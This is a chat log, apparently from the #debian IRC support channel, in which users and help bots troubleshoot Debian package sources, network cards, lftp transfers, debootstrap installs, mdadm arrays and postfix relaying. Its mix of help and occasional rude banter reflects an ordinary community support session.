| 19:21.25 | parabyte | ajavid: for a old xbox |
| 19:21.43 | parabyte | i found 2.6 kernel sources on here |
| 19:21.50 | parabyte | im going to read some books |
| 19:21.53 | parabyte | ill brb guys |
| 19:21.56 | parabyte | thanks |
| 19:21.57 | parabyte | .exit |
| 19:21.59 | ajavid | brb? |
| 19:22.04 | ranix | brb gonna read books |
| 19:22.04 | ajavid | read some books? |
| 19:22.09 | mjt | !brb |
| 19:22.09 | dpkg | mjt: brb, too. Be Right Back |
| 19:22.09 | ajavid | lol |
| 19:22.14 | ajavid | seriously |
| 19:22.23 | ranix | books on the 2.2 kernel |
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| 19:22.31 | ranix | that's older than slink |
| 19:22.36 | ajavid | no |
| 19:22.37 | ajavid | but |
| 19:22.43 | ajavid | how long does it take too read a few books? |
| 19:22.53 | mjt | it was debian potato |
| 19:22.57 | ajavid | even if your the fastest speed reader on the planet |
| 19:23.00 | mjt | with 2.2 kernel |
| 19:23.02 | ajavid | you can't read a few books and brb |
| 19:23.03 | ranix | as long as it takes this guy to upload his kernel |
| 19:23.07 | ranix | I thought potato had 2.4 |
| 19:23.22 | mjt | potato had 2.2 and optionally 2.4 |
| 19:23.23 | ranix | ah both 2.2 and 2.4 were in potato |
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| 19:23.38 | ajavid | that is so obviously retarded I can't get over it, I'm laughing so hard my stomach hurts now and my face too cuz i keep laugying |
| 19:23.40 | mjt | because 2.4 were released almost at the same time as potato |
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| 19:23.56 | ajavid | ahhh boy that was good |
| 19:24.19 | ranix | maybe that was the same guy that was asking about xfree86 the other day |
| 19:24.25 | ranix | that he installed off a CD |
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| 19:24.59 | mjt | hmm i still have xfree86 one some machines. from before xorg. |
| 19:25.23 | mjt | s/one/on/ |
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| 19:26.48 | unknown | hmm, /msg dpkg guidelines doesn't work |
| 19:27.04 | ajavid | !ping |
| 19:27.04 | dpkg | Yes, ajavid, you are online. |
| 19:27.10 | ajavid | !guidelines |
| 19:27.10 | dpkg | 1) Read the /topic, the FAQ, and google before asking us. 2) Don't ask to ask. Just ask. 3) Don't repeat; show that you have tried to help yourself by refining the question. 4) Reading docs (man/info pages, READMEs) is a worthwhile skill. Practice it. 5) Use /msg to talk to the bots (not the people). See <msg>. 6) Be polite and patient. 7) Paste on #flood or <paster>, not here. 8) No trolls or spam. |
| 19:27.30 | ajavid | !dpkgbot |
| 19:27.31 | dpkg | Please visit http://wiki.debian.org/IRC/DpkgBot to learn how to effectively search the factoids database for FAQ, and not flood in the channel with !tell <who> about <what>. Also ask me about <msg the bot>. We ask that you learn to search for yourself first, unless it is a specific problem. Many questions are asked repeatedly, and the factoid database can be of great help to you. Ask me about <search dpkg>. |
| 19:27.36 | ajavid | !dpkb.web.search |
| 19:27.40 | ajavid | !dpkg.web.search |
| 19:27.40 | dpkg | Pick my brains at http://dpkg.vireo.org/search.php or ask me about <help listkeys>, <help-listvals> or <search>. Also, my factoids are available at http://rzlab.ucr.edu/~dpkg/ in archives that are updated nightly and the previous 18 days are archived. |
| 19:27.42 | ranix | !flood |
| 19:27.42 | dpkg | It's considered impolite to paste many lines of text on IRC. Please don't do it. Pasting one line is fine. Pasting two lines you can usually get away with. Pasting three lines will get you insulted. Pasting four or more lines will get you kicked. If you want to paste, ask me about <paste> |
| 19:28.09 | mjt | it's, in fact, !guidelines not !flood :) |
| 19:28.22 | ranix | I think I meant !msg the bot |
| 19:28.29 | mjt | 5) Use /msg to talk to the bots |
| 19:28.30 | ajavid | at times it is neccessery to publically print certain factoids. |
| 19:28.41 | mjt | but not all of them at once |
| 19:28.47 | ajavid | all? |
| 19:28.53 | ajavid | slight exxageration there |
| 19:29.01 | mjt | you know what i mean |
| 19:29.07 | bzed | !tell ajavid about selftell |
| 19:29.23 | ajavid | wow, the amount of people totally not getting it is staggering. |
| 19:29.29 | ranix | !tell ajavid about tell me about tell me about |
| 19:29.55 | mjt | ajavid: for now it looks like you're the only one not getting it :) |
| 19:29.59 | ajavid | at times it is neccessery to publically print certain factoids. |
| 19:30.06 | ajavid | 3 != all |
| 19:30.15 | ajavid | I do not agree with you. |
| 19:30.36 | mjt | shuts up and waits patiently |
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| 19:30.39 | ajavid | I refuse to let you draw me into some stupid irrelevant and bullshit argument. |
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| 19:30.54 | ranix | lol |
| 19:31.06 | jpinx-eeepc | ajavid: no you don't |
| 19:31.34 | ajavid | !sunday |
| 19:31.34 | dpkg | Sunday is the day all trolls swarm to #debian, avoid at all cost to remain sane. |
| 19:31.44 | ajavid | goes to do things. |
| 19:31.54 | bzed | better for us all |
| 19:32.31 | daffidity | so you people are not human? |
| 19:32.34 | mjt | good factoid, that last one :) |
| 19:32.40 | daffidity | ! |
| 19:33.05 | jpinx-eeepc | !bot |
| 19:33.05 | dpkg | I ain't no stinkin' bot. I am a finely tuned and hand crafted tool. Oh wait... I guess I am a bot (that you should not abuse). |
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| 19:34.10 | ranix | daffidity: I'm actually a trained monkey |
| 19:34.16 | ranix | I do IT for the zoo |
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| 19:34.55 | daffidity | oh dear. Anyways does anyone know how I could stream lastfm using an external player on debian. Last-fm, last-exit and rhythmbox all fail. |
| 19:35.14 | mjt | fail.. how? |
| 19:35.36 | jpinx-eeepc | judd: versions lastfm |
| 19:35.37 | judd | jpinx-eeepc: lastfm -- etch: 1.1.90-4 etch-backports: 1:1.4.1.57486.dfsg-1~bpo40+1 lenny: 1:1.5.1.31879.dfsg-1 sid: 1:1.5.1.31879.dfsg-3 squeeze: 1:1.5.1.31879.dfsg-3 |
| 19:35.53 | jpinx-eeepc | daffidity: maybe you got the package name wrong? |
| 19:36.40 | daffidity | mjt: Last-exit- appears to be playing. no sound. lastfm- "oops error connecting" and in rhythmbox- nothing happens when I click on play |
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| 19:37.44 | mjt | most useful so far is lastfm's one. the next step is to know which error it had... |
| 19:37.54 | ajavid | who has lastfm |
| 19:38.01 | mjt | oh well. Error handling in most GUI programs is.. modest. |
| 19:38.02 | ajavid | I didn't they has a linux version |
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| 19:38.09 | arcsky | anyone into lftp? |
| 19:38.10 | ajavid | I thought it was all browser plugins etc. |
| 19:38.23 | ajavid | !+info lastfm |
| 19:38.24 | dpkg | Updating debian files... please wait. |
| 19:38.24 | daffidity | mjt: I'll paste you the debugging in a sec |
| 19:38.39 | arcsky | i want to fxp a file to a site1 to site2 |
| 19:38.52 | jpinx-eeepc | daffidity: there were considerable connection problems for a while |
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| 19:38.59 | dpkg | lastfm: (a music player for Last.fm personalized radio), section sound, is optional. Version: 1:1.5.1.31879.dfsg-3 (sid), Packaged size: 1575 kB, Installed size: 4552 kB |
| 19:39.03 | mjt | arcsky: fxp? |
| 19:39.04 | jpinx-eeepc | daffidity: not sure if they were resolved |
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| 19:39.42 | daffidity | jpinx-eeepc: even if I am currently streaming it on iceweasel? |
| 19:39.54 | arcsky | yeah |
| 19:40.03 | jpinx-eeepc | daffidity: ah - then it's working for where-ever you are ;) |
| 19:40.18 | jpinx-eeepc | judd: versions fxp |
| 19:40.19 | judd | jpinx-eeepc: fxp -- |
| 19:40.33 | jpinx-eeepc | arcsky: what operating system? |
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| 19:41.22 | arcsky | jpinx-eeepc: linux |
| 19:41.57 | jpinx-eeepc | arcsky: output of /etc/debian_version? |
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| 19:42.16 | daffidity | mtj: actually I think I know what is wrong |
| 19:42.17 | arcsky | it doesnt metter which version i got |
| 19:42.30 | daffidity | mtj: it works when I unplug my usb speakers |
| 19:42.46 | daffidity | mtj: and force reload alsa |
| 19:42.46 | ryoma | i read the web pages on installation media, and i am still a bit confused. i have a box, and an ethernet cable leading to a router, which I believe assigns a static ip, but i am not sure how to get into the router (or that i will be able to without resetting it) -- but i want to install debian on the box. so can i just get the disk 1 of the cd and install from that? |
| 19:42.55 | arcsky | get ftp://user:pass@host:port/test/monkey.txt ftp://user:pass@host:port doesnt work |
| 19:42.56 | jpinx-eeepc | arcsky: there's no package called fxp that I know of or can find |
| 19:43.03 | arcsky | lftp |
| 19:43.18 | ryoma | i.e. should i ignore the netinst thing altogether? |
| 19:43.22 | jpinx-eeepc | ryoma: yes - basically |
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| 19:43.40 | jpinx-eeepc | ryoma: if you have the CD1 install that and then update |
| 19:44.01 | jpinx-eeepc | ryoma: or you can download a netinstaller and do it that way |
| 19:44.24 | daffidity | did something weird and things worked...but doesn't understand why it should |
| 19:44.24 | jpinx-eeepc | judd: versions lftp |
| 19:44.25 | judd | jpinx-eeepc: lftp -- etch: 3.5.6-1 lenny: 3.7.3-1 squeeze: 3.7.14-1 sid: 3.7.15-1 |
| 19:44.36 | ryoma | ok, so disk 1 then should do what i want (taking care not to destroy data on existing disks, installing where i want, etc.) it sounds like. i do have a mac, and will dl it to that and burn the cd. sounds like aplan? |
| 19:45.25 | jpinx-eeepc | arcsky: what's your problem? |
| 19:45.45 | arcsky | i want to send a file from FTP1 to FTP2 |
| 19:46.00 | jpinx-eeepc | arcsky: man lftp |
| 19:46.06 | arcsky | k |
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| 19:46.31 | mjt | does lftp support that mode to start with? |
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| 19:46.42 | mjt | ftp1=>local, local=>ftp2 will work |
| 19:46.45 | mjt | but ftp1=>ftp2? |
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| 19:47.07 | mjt | in scp it definitely does NOT work ;) |
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| 19:47.24 | arcsky | it works with directories |
| 19:47.30 | arcsky | with mirror |
| 19:47.41 | arcsky | so why not with files,, lol |
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| 19:52.35 | ctcad | I added this to my sources.list: http://paste.lisp.org/display/84243 - and I'm getting this: W: Failed to fetch http://non-us.debian.org/debian-non-US/dists/stable/non-US/non-free/i18n/Translation-en_US.bz2 Could not resolve 'non-us.debian.org' |
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| 19:52.40 | ctcad | What am I doing wrong? |
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| 19:55.35 | jelly-home | ctcad: which debian release are you using? |
| 19:55.42 | lolufail1 | hi guise |
| 19:55.53 | ctcad | Linux debian 2.6.26-2-686 #1 SMP Sun Jun 21 04:57:38 UTC 2009 i686 GNU/Linux |
| 19:55.58 | jelly-home | ctcad: non-us repository hasn't existed in last two releases |
| 19:56.12 | jelly-home | ctcad: dpkg -l libc6 |tail -1 |
| 19:56.19 | lolufail1 | has anyone heard of/used "Proxmox"? is it good? |
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| 19:57.09 | jpinx-eeepc | judd: versions proxmox |
| 19:57.09 | judd | jpinx-eeepc: proxmox -- |
| 19:57.20 | jpinx-eeepc | lolufail1: I guess not ;) |
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| 19:57.34 | lolufail1 | lolwut |
| 19:57.38 | ctcad | jelly-home, ii libc6 2.7-18 GNU C Library: Shared libraries - I was instructed to add non-free and contrib sources by http://wiki.debian.org/NvidiaGraphicsDrivers , I thought that would have done |
| 19:57.58 | lolufail1 | fyi: http://www.montanalinux.org/proxmox-ve-review.html |
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| 19:58.14 | bzed | lolufail1: proxmox is nothing from debian, so you're pretty much wring here :) |
| 19:58.57 | jelly-home | ctcad: ok, it looks like the current stable. Remove the non-us line, and replace mentions of "stable" by "lenny" |
| 19:59.09 | gnat_x | does anyone know of a good resource for explaining how i get a single package (xserver-xorg-video-intel) from experimental. iirc it was a flag you can give to aptitude, and you can set a general preference. i just don't recall the ins and outs of it, and having trouble finding a good guide. |
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| 20:00.16 | lolufail1 | bzed: well, it's based upon debian :D |
| 20:00.36 | jelly-home | gnat_x: packages from experimental don't get automatically installed. Assuming you have unstable installed and experimental repo enabled, you can just aptitude install xserver-xorg-video-intel/experimental (after an update) |
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| 20:00.47 | lolufail1 | bzed: and it would be pointless to ask #proxmox if it's any good ;) |
| 20:00.57 | jpinx-eeepc | !tell gnat_x about sbb |
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| 20:01.22 | jpinx-eeepc | !tell gnat_x about ssb |
| 20:01.33 | daffidity | ctcad: Also the first line is http://ftp.us.debian.org/debian lenny main contrib non-free :-) |
| 20:01.57 | jelly-home | gnat_x: if, however, you have an installation of stable, that package will depend on many other xorg package versions you don't have at disposal (only in unstable, maybe in testing) |
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| 20:02.35 | jelly-home | jpinx-eeepc: that won't help him for xorg stuff, the dependencies are rather complex. |
| 20:02.51 | lolufail1 | what do you think about, and what virtualisation-solution would you recommend for: |
| 20:02.51 | lolufail1 | reverse squid and pfsense on host, each website in a virtual machine |
| 20:03.00 | jpinx-eeepc | jelly-home: dependency hell ;) |
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| 20:03.06 | jelly-home | lolufail1: it would be equally pointless to ask here if it's not debian. |
| 20:03.15 | ctcad | daffidity, you'll have to be a little less vague :( is there something wrong with that? will I have to change that? |
| 20:03.19 | lolufail1 | I do use debian -.- |
| 20:03.23 | jpinx-eeepc | lolufail1: try #linux |
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| 20:04.06 | jelly-home | lolufail1: me too, but I don't ask here about stuff that's not in the distro |
| 20:04.15 | daffidity | ctcad: in the paste you sent. you had http://http.us.debian.org/debian/ that should be ftp not http. |
| 20:04.26 | lolufail1 | jelly-home: ok thx |
| 20:04.55 | ctcad | daffidity, I did a copy-paste from here: http://www.debian.org/doc/manuals/apt-howto/ch-basico.en.html |
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| 20:05.51 | mjt | it works with http too, as far as i can see |
| 20:06.15 | mjt | and worked since stone age |
| 20:06.38 | daffidity | mjt: really. never tried |
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| 20:12.20 | gasull | <PROTECTED> |
| 20:13.50 | korhojoa | hurr. look at the list of files installed by the package maybe? |
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| 20:14.36 | ctcad | hm, there's no 'Update Manager' (reachable by System > Administration) in 5.02? |
| 20:15.05 | ctcad | because I'm seeing it in screenshots on the web, however not on my install |
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| 20:17.39 | phorce1 | ctcad: install it |
| 20:18.19 | ctcad | phorce1, hm, okay. Is it a thing of worry that I didn't have it? I find it a bit strange |
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| 20:19.04 | phorce1 | ctcad: no worries. It's just not in the default gnome packages I suppose. It's not needed. |
| 20:19.33 | phorce1 | ctcad: just aptitude install update-manager |
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| 20:20.31 | ctcad | phorce1, great, that did it. thanks. |
| 20:20.38 | lelu | valdyn: you still here? |
| 20:21.03 | phorce1 | I, personally, find update manager rather annoying. |
| 20:21.05 | ryoma | if i'm /installing/ from cd, is testing fairly stable these days and the right thing to use, or am i better off with stable? |
| 20:21.25 | DanDare | What´s the minimum partition size to install Lenny, choosing just '[*] Basic System' ? |
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| 20:22.27 | DanDare | an aproximation ? |
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| 20:22.39 | ctcad | I'd venture to guess approximately 100 MB? |
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| 20:22.58 | ryoma | are the differences in the installers for testing and stable significant? |
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| 20:27.54 | ryoma | the web information isn't the latest, so i thought i would ask here... |
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| 20:34.59 | diilbert | I am on a WPA network and it takes a good 5 minutes before the wireless nic sees any networks at all.. I just upgraded to kernel 2.6.30 and the latest compat-wireless drivers. I am running Debian 5.0 ... thoughts? |
| 20:35.24 | DanDare | diilbert, poor wireless signal ? |
| 20:35.57 | diilbert | Nope, if I boot back into the stock 2.6.26 kernel it works perfect. |
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| 20:39.34 | wad | My motherboard has a gigabit ethernet NIC on it, but it wasn't recognized on install (so I stuck a PCI NIC in there). Debian is up and running, but I'd like to use my motherboard's NIC now. Any ideas how to proceed? |
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| 20:40.10 | diilbert | wad: Model ? |
| 20:40.35 | wad | diilbert, hang on, lemme get it. |
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| 20:40.55 | izzyb_ | I have two network interfaces, on connected to the internet (eth0) and one connected to an internal network (eth1). eth0 is staticly configured with the default route to the internet and eth1 is configured to use dhcp to obtain an address. The problem I have is when eth1 comes up, I end up with two default routes and my connections break. How can I stop eth1 from setting the default gateway provided by the dhcp server and just use th |
| 20:40.55 | izzyb_ | <PROTECTED> |
| 20:42.00 | wad | diilbert, ah, here it is: http://www.newegg.com/Product/Product.aspx?Item=N82E16813138145 |
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| 20:42.43 | wad | diilbert, looks like the NIC is Realtek 8111DL |
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| 20:45.49 | diilbert | do a lspci to see if it the right module is loaded, look for the line w/ Ethernet Controller |
| 20:45.51 | adb | !rtl8211c |
| 20:45.51 | dpkg | Support for the Realtek RTL8211C/RTL8211CL integrated Ethernet transceiver was introduced in the forcedeth driver at Linux kernel 2.6.27-rc2. To provide support within Lenny at installation time, ask me about <kmuto>. For established Lenny systems, ask me about <backports.org> and install a later kernel image. http://git.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=22ae03a190011fa2241e68a6c51369d78039348e |
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| 20:46.27 | diilbert | adb I guess you have all the answers :) |
| 20:46.43 | wad | diilbert, ok |
| 20:46.44 | adb | dpkg: tell wad -about kmuto |
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| 20:54.05 | Myth` | Could someone please lead me blindly through the debian setup process? At least to the point where I can continue via SSH? |
| 20:54.35 | Myth` | Video card on the box is shot. No way for me to see what's going on :P |
| 20:55.00 | bzed | you could use a serial console |
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| 20:55.47 | Myth` | bzed: No serial connection on the main system. |
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| 20:56.49 | izzyb_ | Myth`: which install cd are you using? |
| 20:56.58 | wad | Myth`, it's not going to work. There are too many variations. Just yank a working video card from another system. |
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| 20:57.15 | Myth` | izzyb_: Netinst |
| 20:57.24 | izzyb_ | what version? |
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| 20:57.30 | Myth` | izzyb_: 5.2? |
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| 20:57.40 | Myth` | izzyb_: Let me make sure, one second. I just downloaded it the other day. |
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| 20:58.14 | Myth` | izzyb_: debian-502-i386-netinst.iso. |
| 20:58.17 | izzyb_ | I can fire up a virtual machine to help guide you, but there are a lot of places where you can fall off and you'll never know whats up :( |
| 20:58.36 | Myth` | izzyb_: That will really help me out. |
| 20:58.50 | izzyb_ | k, give me a few to get it setup on this side... |
| 20:58.56 | Myth` | izzyb_: Great thanks. |
| 20:59.00 | Myth` | wad: What do you mean? |
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| 20:59.54 | Myth` | Well, I tried setting a static IP address on the system. That failed. Think it would be more doable to vim /etc/network/interfaces to get it back to DHCP? |
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| 21:00.22 | wad | Myth`, find another computer somewhere that has a working video card in it, pull the video card, and install it into the one that has no functional video hardware. Install. |
| 21:00.35 | Myth` | wad: Thanks. |
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| 21:01.33 | wad | adb, I'm not sure what this means. Do I need a new kernel? |
| 21:02.41 | adb | yes , and use kmuto image fot that pc |
| 21:02.49 | adb | for* |
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| 21:03.24 | mjt | .msg dpkg kmuto |
| 21:03.29 | condon | Can anyone tell me if there is a command line to set up a wired network |
| 21:03.37 | wad | adb, okay, thanks. So I guess I need to reinstall. |
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| 21:03.53 | adb | yes |
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| 21:04.34 | mjt | isn't it simpler to just update the kernel (using usb flash or whatever)? |
| 21:04.40 | DanDare | im trying to install Lenny on a 430Mb partition with just '[*] Standart System' marked. There´s any restriction using this amount of free space? Installation goes in erro at 'Select and install Software'. |
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| 21:05.25 | DanDare | i have yet Lenny on /dev/hda1 with swap on /dev/hda2 and now trying to install Lenny on /dev/hda3 (the 430Mb one) |
| 21:05.43 | DanDare | checked CD already for errors, installer says it´s fine |
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| 21:06.03 | mjt | has lenny in 280megs. But that's really minimal - no graphics at all.. |
| 21:06.12 | mjt | er 180 it is |
| 21:06.36 | adb | DanDare: use debootstrap to install lenny on that part off 430Mb |
| 21:06.37 | mjt | but i've no idea which components d-i will install for "standard system" |
| 21:07.02 | wad | adb, Okay, I'll do it. Looking at http://kmuto.jp/debian/d-i/ but I'm a bit confused on which file I need to download. I'd like to burn an ISO to a CD and boot from that. Looking under i386 and 0627, but I don't see a link to the ISO image. What am I missing? |
| 21:07.34 | adb | 32 bit machine ? |
| 21:07.40 | mjt | wonders why people like to install and reinstall so much... |
| 21:07.54 | wad | adb, yes |
| 21:08.08 | wad | adb, I see links to download it from Japan or France, but I'm in the USA. |
| 21:08.11 | adb | 0627 is ok |
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| 21:08.31 | wad | I'll just get the japanese one, I suppose. |
| 21:09.00 | DanDare | adb, some specific reason making debootstrap a better choice considering the size of my partition ? |
| 21:09.01 | adb | i suppose .fr is faster |
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| 21:09.26 | adb | DanDare: size ? |
| 21:09.27 | wad | oh, the parens refer to the second one! Got it! |
| 21:09.29 | mjt | DanDare: debootstrap installs minimal system |
| 21:09.57 | DanDare | adb, yeah the partition im trying to install have 430Mb |
| 21:10.21 | Chupacabra | is there a way to get the ./configure parameters of any given *.deb package? |
| 21:11.34 | tuantub | Chupacabra: just download the source package and have a look at debian/rules |
| 21:12.10 | tuantub | Chupacabra: of course if the source package is avaiable ;) |
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| 21:13.10 | adb | DanDare: so you get your the answered |
| 21:13.19 | DanDare | adb, how ? |
| 21:13.59 | adb | read up |
| 21:14.07 | Chupacabra | tuantub: what source files exactly do you mean? |
| 21:14.24 | DanDare | debootstrap installs minimal system ? :p |
| 21:14.58 | jdolan_ | hi, i'm coming from Ubuntu, looking to install Debian for the first time. |
| 21:15.01 | DanDare | anyway, im going to try debootstrap from the yet installed Lenny, i iwll be able to add grub entries to use the new system at boot time ? |
| 21:15.04 | tuantub | Chupacabra: for the example, you want to know, with which parameter ./configure was passed to package hello |
| 21:15.30 | tuantub | Chupacabra: you may download the source package of hello with the command : apt-get source hello |
| 21:15.31 | jdolan_ | if i just install Debian on a system that has WinXP and some free space, will Debian include XP in the boot menu? Ubuntu always did this.. |
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| 21:15.54 | tuantub | Chupacabra: and have a look at debian/rules file to find it out :P |
| 21:16.10 | Chupacabra | tuantub: thanks i will take a look |
| 21:16.41 | tuantub | Chupacabra: ;) |
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| 21:18.56 | nsadmin | Chupacabra: actually I would recommend that if you're trying to find out how to package, you read every file |
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| 21:22.43 | PsiKlops | where would be the DIR to copy a prebuilt module.ko for ethernet ? |
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| 21:24.10 | ctcad | small question - do the majority of you guys eventually get firefox? I notice that I can't add Adblock-Plus to iceweasel, ABP is the whole reason I use firefox |
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| 21:25.24 | tuantub | ctcad: /me :) |
| 21:25.44 | ranix | I use ABP no problem in iceweasel |
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| 21:25.51 | ctcad | tuantub, hm? You meant to say that you did get firefox? |
| 21:26.02 | ranix | icw and ff are almost 1:1 identical ctcad |
| 21:26.17 | tuantub | ctcad: i'm using ff with ABP with NO problem :) |
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| 21:26.18 | ranix | the differences are the name and logos, that's it |
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| 21:26.31 | ctcad | ranix, I suppose then the problem is that I'm on an outdated version of Iceweasel |
| 21:26.59 | ctcad | because it's telling me "your version of firefox will not run ABP" |
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| 21:27.15 | tuantub | ctcad: just have a look, wether ABP conflicts with other plugin, that you are using :-/ |
| 21:28.06 | ctcad | <ranix> icw and ff are almost 1:1 identical ctcad -- should not Iceweasel be updated by an apt-get update? |
| 21:28.36 | ctcad | what's the typical procedure of updating iceweasel? I'm on 3.0 it looks like, I'd prefer to keep up with 3.5 |
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| 21:31.16 | DanDare | just installed Lenny using debootstrap. I chroot into it and now im trying to install grub 'apt-get install grub' and getting the warn: "WARNING: The following packages cannot be authenticated!, grub-common grub , Install these packages without verification [y/N]?" |
| 21:31.21 | DanDare | why this ? |
| 21:31.47 | adb | !key |
| 21:31.47 | dpkg | i guess key is Install the latest debian-archive-keyring package to get the latest gpg key used to sign the Debian archive |
| 21:32.01 | DanDare | thanks |
| 21:33.02 | triptec | is there any swede that could translate "Content Management" to swedish? |
| 21:33.05 | DanDare | well, debian-keyring i supose.... 21Mb o.O |
| 21:33.20 | DanDare | oh no that sorry |
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| 21:37.16 | wad | adb, I tried installing from that image you recommended, but I just get a page fault. :( |
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| 21:39.38 | adb | wad: retry installing |
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| 21:42.57 | wad | adb, I did. Same thing. |
| 21:43.09 | Noble | Is there a compiz function similar to the new aero thing in 7 where you can maximize a window over half the screen if you drag it to the edge. |
| 21:43.30 | wad | I think I want to try just installing the driver for the motherboard's ethernet hardware. |
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| 21:47.04 | subsume | I'm having trouble finding a particular device (usb external HD with no partitions). How can I? |
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| 21:47.19 | subsume | I'm having trouble finding a particular device (usb external HD with no partitions). How can I? |
| 21:47.30 | zinx | subsume: dmesg |
| 21:47.33 | subsume | (sry, lost channel) |
| 21:47.51 | zinx | subsume: or /dev/disk/by-*/ |
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| 21:48.38 | subsume | zinx: I'm not sure which to pick, etc |
| 21:48.46 | subsume | I saw that option, though |
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| 21:50.23 | Myth` | After a netinst my sources.list only contained repos from the CD? Any idea what repos are supposed to be there by default in lenny? |
| 21:50.24 | subsume | I think its /dev/sda. thanks |
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| 21:51.18 | hobophobe | I am trying to migrate my install to a new hard drive, but I'm at a sticking point with grub: I mounted the drive and installed grub, but it still boots off the old drive's entry/partition? |
| 21:51.25 | adb | dpkg: tell Myth` -about sources |
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| 21:59.21 | hobophobe | I'm guessing that the problem is I need to build a new initrd.img for the new drive that is specific to it, and then update-grub to use that? |
| 22:00.01 | ryoma | ok, after no response i will assume that there is no difference between the lenny and testing installers. wish me luck. :) |
| 22:00.12 | hobophobe | Good luck ryoma |
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| 22:03.18 | wad | Okay, I've found the driver I need. It's for the 2.6.x kernel, which is what I have. I've got the source code for it. Now I just need the instructions on how to apply it! I assume I need to rebuild the kernel with this driver in it. |
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| 22:03.56 | enouf | shoots a wad of * upon wad |
| 22:05.00 | mjt | wad: driver for what? for the network card? |
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| 22:07.25 | wad | mjt, Ah, I just noticed that the readme has instructions in it! |
| 22:07.28 | wad | follows the instructions. |
| 22:07.38 | wad | mjt, it's for the network card on the mobo. |
| 22:07.40 | mjt | but which driver it is? |
| 22:07.52 | mjt | i bet it is in kernel already.. is it not? |
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| 22:10.52 | wad | mjt, lsmod shows that it's installed. I wonder why it doesn't work? |
| 22:11.06 | wad | r8169 I think. |
| 22:11.22 | mjt | define "doesn't work" |
| 22:11.38 | wad | Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 03) |
| 22:11.38 | wad | eth0: RTL8169 at 0xf8844000, 00:30:67:06:0a:e8, XID 281000c0 IRQ 221 |
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| 22:12.00 | wad | mjt: well, it's entirely possible that I'm doing the wrong thing. |
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| 22:12.14 | wad | mjt, when I installed from the netinstall CD, it couldn't find the network. |
| 22:12.28 | wad | mjt, so I stuffed a PCI NIC in there, and used that. (It's eth1). |
| 22:12.42 | mjt | the 'eth0' line means the existing driver found your card and recognized it |
| 22:12.49 | wad | mjt, oh, cool! |
| 22:13.05 | wad | mjt, so how do I bring it up? It's plugged into my gigabit network. |
| 22:13.27 | valdyn | wad: man interfaces |
| 22:13.31 | wad | I fiddled around with /etc/network/interfaces |
| 22:13.37 | mjt | ifconfig eth0 shows what? |
| 22:13.45 | mjt | isn't it up already? |
| 22:14.00 | wad | eth0 Link encap:Ethernet HWaddr 00:30:67:06:0a:e8 |
| 22:14.01 | wad | <PROTECTED> |
| 22:14.01 | wad | <PROTECTED> |
| 22:14.01 | wad | <PROTECTED> |
| 22:14.01 | wad | <PROTECTED> |
| 22:14.01 | wad | <PROTECTED> |
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| 22:14.08 | enouf | stop you idiot |
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| 22:14.33 | wad | ifconfig only shows eth1 up. |
| 22:14.46 | wad | (Sorry, I was gone for a moment; the paste got me kicked) |
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| 22:15.53 | mjt | so.. man interfaces as valdyn said |
| 22:16.09 | wad | nods |
| 22:16.11 | mjt | usually it's configured with dhcp |
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| 22:16.21 | zmitya | hi everybody |
| 22:16.35 | zmitya | I have just created a new raid1 array with mdadm |
| 22:16.40 | wad | Hey, it's up! I did "ifconfig eth0 [an IP address] |
| 22:16.41 | mjt | for things like ethernet cards chances are very very high your device is already supported |
| 22:16.42 | zmitya | why is it in PENDING state ? |
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| 22:17.06 | wad | mjt, cool! I wonder why it wouldn't see it at boot? |
| 22:17.10 | mjt | zmitya: what's a 'state' of a raid array? |
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| 22:17.41 | mjt | zmitya: i know several 'states' but neither of them is 'PENDING' |
| 22:17.49 | zmitya | mjt: cat /proc/mdstat says that the resync=PENDING |
| 22:18.10 | mjt | so it's not state=pending, it's resync=pending |
| 22:18.18 | mjt | for the reason see dmesg |
| 22:18.23 | zmitya | mjt: http://paste.debian.net/42721/ |
| 22:19.26 | zmitya | mjt: the array was not created in the last boot time |
| 22:19.39 | zmitya | I just created it now |
| 22:19.40 | mjt | and? |
| 22:19.56 | zmitya | so there is nothing in the dmesg about it |
| 22:20.07 | mjt | sure there is |
| 22:20.24 | mjt | or else you'd not see it in /proc/mdstat |
| 22:20.56 | zmitya | mjt: I searched for "md1", there is nothing there |
| 22:20.57 | mjt | each time something's going on with an array the md subsystem says some messages about it, which goes to dmesg |
| 22:21.06 | mjt | where exactly did you search? |
| 22:21.10 | mjt | in /var/log/dmesg? |
| 22:21.22 | zmitya | mjt: searched for string "md1" |
| 22:21.22 | mjt | or in /var/log/kern.log? |
| 22:21.27 | mjt | zmitya: WHERE? |
| 22:21.39 | mjt | or dmesg | less? |
| 22:21.54 | mjt | when i say 'see dmesg' i mean dmesg COMMAND. |
| 22:22.02 | mjt | that prints current kernel message buffer |
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| 22:22.23 | zmitya | mjt: md: md1: raid array is not clean -- starting background reconstruction |
| 22:22.43 | abrotman | so it's not a clean array .. what's confusing? |
| 22:22.53 | mjt | it is a new array |
| 22:23.13 | mjt | but can you read surrounding lines too? Why #debian has to teach you how to read? |
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| 22:24.13 | mjt | for the next question, you have to mark it read-write before anything gets written to it |
| 22:24.19 | mjt | including initial resync |
| 22:24.32 | nyk2005 | Is it possible to configure postfix to act as a mail host for a specific machine (IP address) that is located in a firewalled network without it's own mail host? |
| 22:24.40 | mjt | who triggered auto-read-only - i don't know |
| 22:24.54 | nyk2005 | I mean the postfix server is outside the other's network |
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| 22:25.03 | mjt | nyk2005: postfix can be a smarthost for any machine |
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| 22:25.22 | zmitya | mjt: thanks, I'll look for it |
| 22:25.27 | mjt | nyk2005: just add whatever IP address/hostname to $mynetworks |
| 22:25.35 | nyk2005 | mjt: in /etc/postfix/main.cf ? |
| 22:25.46 | mjt | nyk2005: have any other guess? :) |
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| 22:25.55 | rockyrock | hi guys, I was reading an article and it said: "Google just stole the idea of ThinkOS from debian". What's ThinkOS? |
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| 22:26.22 | rockyrock | what's ThinkOS? |
| 22:26.24 | nyk2005 | mjt: I don't even have that set!! hope it has a good default.. :( |
| 22:26.32 | mjt | nyk2005: it is |
| 22:26.38 | zmitya | mjt: --readwrite did the trick, thanks |
| 22:26.39 | mjt | nyk2005: meet `postconf -d' |
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| 22:27.04 | mjt | zmitya: you have to figure out why it was readonly by default |
| 22:27.32 | nyk2005 | mjt: ah very nice! thanks! so I can just add the other machine there, cool! |
| 22:27.36 | zmitya | mjt: well, don't know, I just created it, I did not put it to read-only for sure |
| 22:28.02 | nyk2005 | mjt: and it defaults to the servers IP, which is nice.. |
